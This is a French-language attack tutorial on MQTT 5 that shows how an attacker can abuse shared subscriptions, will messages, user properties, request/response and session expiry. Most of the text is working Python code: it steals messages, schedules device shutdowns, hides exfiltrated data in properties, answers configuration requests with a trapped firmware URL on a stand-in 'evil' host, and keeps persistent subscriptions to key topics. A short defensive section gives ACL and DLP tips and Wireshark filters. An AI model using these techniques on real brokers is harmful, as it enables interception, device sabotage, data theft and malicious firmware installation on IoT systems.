MQTT 5 Features and Expanded Attack Surface
practicalMQTT 5 Features and Expanded Attack Surface
MQTT 5 a apporté des fonctionnalités attendues mais aussi un terrain de jeu plus large pour un attaquant.
Avertissement légal : laboratoire ou autorisation écrite uniquement.
Vérifier la version supportée
mosquitto_sub -h broker.lab.local -p 1883 -V mqttv5 \
-t '$SYS/broker/version' -C 1
Shared subscriptions : voler des messages
En MQTT 5, $share/<groupe>/<topic> permet de répartir les messages d'un topic entre plusieurs clients. Le broker route chaque message à un seul abonné du groupe.
import paho.mqtt.client as mqtt
def on_message(client, userdata, msg):
print(f"[INTERCEPTE] {msg.topic} = {msg.payload!r}")
client = mqtt.Client(protocol=mqtt.MQTTv5)
client.on_message = on_message
client.connect("broker.lab.local", 1883)
client.subscribe("$share/workers/factory/+/orders")
client.loop_forever()
Vous interceptez statistiquement la moitié des messages. Les shared subscriptions ne doivent jamais être laissées sans ACL stricte sur les groupes.
Will Messages enrichis comme canal C2
from paho.mqtt.properties import Properties
from paho.mqtt.packettypes import PacketTypes
will_props = Properties(PacketTypes.WILLMESSAGE)
will_props.WillDelayInterval = 300 # 5 min après déconnexion
will_props.UserProperty = ("cmd", "shutdown")
client = mqtt.Client(protocol=mqtt.MQTTv5)
client.will_set(
topic="shellies/relay-living/relay/0/command",
payload="off", qos=1, retain=False,
properties=will_props,
)
client.connect("broker.lab.local", 1883)
client.loop_start()
# Si vous coupez brutalement, le broker publiera "off" dans 5 min
User Properties : exfiltration discrète
props = Properties(PacketTypes.PUBLISH)
props.UserProperty = [("exfil", "secret_data_here"), ("c2", "stage2")]
client.publish("home/livingroom/temp", payload="22.5", properties=props)
Le message ressemble à une mesure de température. Le payload utile est dans les propriétés. Tout outil de DLP doit parser les User Properties.
Request/Response : pivoter sur d'autres clients
def on_message(client, userdata, msg):
if msg.properties and hasattr(msg.properties, "ResponseTopic"):
rt = msg.properties.ResponseTopic
cd = msg.properties.CorrelationData
rprops = Properties(PacketTypes.PUBLISH)
rprops.CorrelationData = cd
client.publish(rt, payload='{"firmware_url":"http://evil/fw.bin"}',
properties=rprops)
client.subscribe("devices/+/config/request")
Un device qui demande sa configuration accepte alors un firmware piégé.
Session Expiry : persistance discrète
cprops = Properties(PacketTypes.CONNECT)
cprops.SessionExpiryInterval = 86400 * 7 # 7 jours
client = mqtt.Client(client_id="legit_looking_id",
protocol=mqtt.MQTTv5, clean_session=False)
client.connect("broker.lab.local", 1883, clean_start=False, properties=cprops)
client.subscribe("private/keys/+", qos=1)
client.disconnect()
# Revenez plus tard, tous les messages QoS 1 vous attendent
Filtre Wireshark MQTT 5
mqtt.ver == 5 and mqtt.property
mqtt.willtopic
mqtt.msgtype == 1 and mqtt.proto_name == "MQTT"
Repérez les CONNECT avec Session Expiry > 24h et les souscriptions à $share/....